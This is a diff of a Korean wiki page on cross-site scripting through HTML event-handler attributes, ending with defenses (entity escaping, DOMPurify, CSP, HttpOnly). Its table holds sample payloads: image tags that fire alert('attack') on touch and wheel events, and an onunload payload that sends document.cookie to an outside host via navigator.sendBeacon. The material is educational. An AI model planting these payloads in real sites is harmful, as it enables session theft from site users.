-| ontimeupdate ((<audio>, <video>)) | FIXME FIXME |+| ontimeupdate ((미디어)) ((<audio>, <video>)) |  <color gray>-</color>  재생 시간 변경 |
 | ontoggle ((<details>)) |  <color gray>-</color>  | | | ontoggle ((<details>)) |  <color gray>-</color>  | |
 | ontouchcancel ((터치)) |  <color gray>-</color>  | 강제 중단/취소 | | ontouchcancel ((터치)) |  <color gray>-</color>  | 강제 중단/취소 |
-| ontouchend ((터치)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png"</nowiki>\\ ontouchend="alert('attack')"> | (영역 내) 떼는 순간 | +| ontouchend ((터치)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ ontouchend="alert('attack')"> | (영역 내) 떼는 순간 | 
-| ontouchmove ((터치)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png"</nowiki>\\ ontouchmove="alert('attack')"> | (영역 내) 이동 시 | +| ontouchmove ((터치)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ ontouchmove="alert('attack')"> | (영역 내) 이동 시 | 
-| ontouchstart ((터치)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png"</nowiki>\\ ontouchstart="alert('attack')"> | (영역 내) 누르는 순간 |+| ontouchstart ((터치)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ ontouchstart="alert('attack')"> | (영역 내) 누르는 순간 |
 | ontransitioncancel ((CSS 트랜지션)) |  <color gray>-</color>  | | | ontransitioncancel ((CSS 트랜지션)) |  <color gray>-</color>  | |
 | ontransitionend ((CSS 트랜지션)) |  <color gray>-</color>  | | | ontransitionend ((CSS 트랜지션)) |  <color gray>-</color>  | |
줄 178: 줄 184:
 | ontransitionstart ((CSS 트랜지션)) |  <color gray>-</color>  | | | ontransitionstart ((CSS 트랜지션)) |  <color gray>-</color>  | |
 | onunhandledrejection ((비동기)) |  <color gray>-</color>  | | | onunhandledrejection ((비동기)) |  <color gray>-</color>  | |
-| onunload ((<body>, <frameset>)) | <body\\ onunload="navigator.sendBeacon\\ ('<nowiki>https://wiki.jobdeveloper.co.kr</nowiki>',\\ document.cookie)">\\ </body>\\ \\ <frameset\\ onunload="navigator.sendBeacon\\ ('<nowiki>https://wiki.jobdeveloper.co.kr</nowiki>',\\ document.cookie)">\\ </frameset> | 페이지 이탈 시 |+| onunload ((<body>, <frameset>)) | <body\\ onunload="navigator.sendBeacon\\ ('<nowiki>https://example.com</nowiki>', document.cookie)">\\ </body>\\ \\ <frameset\\ onunload="navigator.sendBeacon\\ ('<nowiki>https://example.com</nowiki>', document.cookie)">\\ </frameset> | 페이지 이탈 시 |
 | onvisibilitychange |  <color gray>-</color>  | | | onvisibilitychange |  <color gray>-</color>  | |
-| onvolumechange ((<audio>, <video>)) | FIXME FIXME |+| onvolumechange ((미디어)) ((<audio>, <video>)) |  <color gray>-</color>  재생 볼륨 변경 |
 | onvrdisplayactivate ((하드웨어)) |  <color gray>-</color>  | | | onvrdisplayactivate ((하드웨어)) |  <color gray>-</color>  | |
 | onvrdisplaydeactivate ((하드웨어)) |  <color gray>-</color>  | | | onvrdisplaydeactivate ((하드웨어)) |  <color gray>-</color>  | |
-| onwaiting ((<audio>, <video>)) | FIXME FIXME |+| onwaiting ((미디어)) ((<audio>, <video>)) |  <color gray>-</color>  재생 버퍼링 발생 |
 | onwebkitanimationcancel ((WebKit 엔진)) |  <color gray>-</color>  | | | onwebkitanimationcancel ((WebKit 엔진)) |  <color gray>-</color>  | |
 | onwebkitanimationend ((WebKit 엔진)) |  <color gray>-</color>  | | | onwebkitanimationend ((WebKit 엔진)) |  <color gray>-</color>  | |
줄 200: 줄 206:
 | onwebkittransitionstart ((WebKit 엔진)) |  <color gray>-</color>  | | | onwebkittransitionstart ((WebKit 엔진)) |  <color gray>-</color>  | |
 | onwebkitwillrevealbottom ((WebKit 엔진)) |  <color gray>-</color>  | | | onwebkitwillrevealbottom ((WebKit 엔진)) |  <color gray>-</color>  | |
-| onwheel ((마우스)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png"</nowiki>\\ onwheel="alert('attack')"> | (영역 내) 휠 스크롤 |+| onwheel ((마우스)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ onwheel="alert('attack')"> | (영역 내) 휠 스크롤 |
 | onzoom ((Internet Explorer)) |  <color gray>-</color>  | | | onzoom ((Internet Explorer)) |  <color gray>-</color>  | |
 ((https://www.w3schools.com/tags/ref_eventattributes.asp)) ((https://html.spec.whatwg.org/multipage/webappapis.html#event-handlers-on-elements,-document-objects,-and-window-objects)) ((https://www.w3schools.com/tags/ref_eventattributes.asp)) ((https://html.spec.whatwg.org/multipage/webappapis.html#event-handlers-on-elements,-document-objects,-and-window-objects))
  
 ===== 방어 ===== ===== 방어 =====
-  * 태그 무력화+  * HTML 태그 무력화
     * & → &amp;     * & → &amp;
     * < → &lt;     * < → &lt;
줄 211: 줄 217:
     * " → &quot;     * " → &quot;
     * ' → &apos;     * ' → &apos;
-  * DOMPurify 사용+  * DOMPurify ((https://github.com/cure53/DOMPurify)) 사용
   * CSP 설정   * CSP 설정
   * HttpOnly 설정   * HttpOnly 설정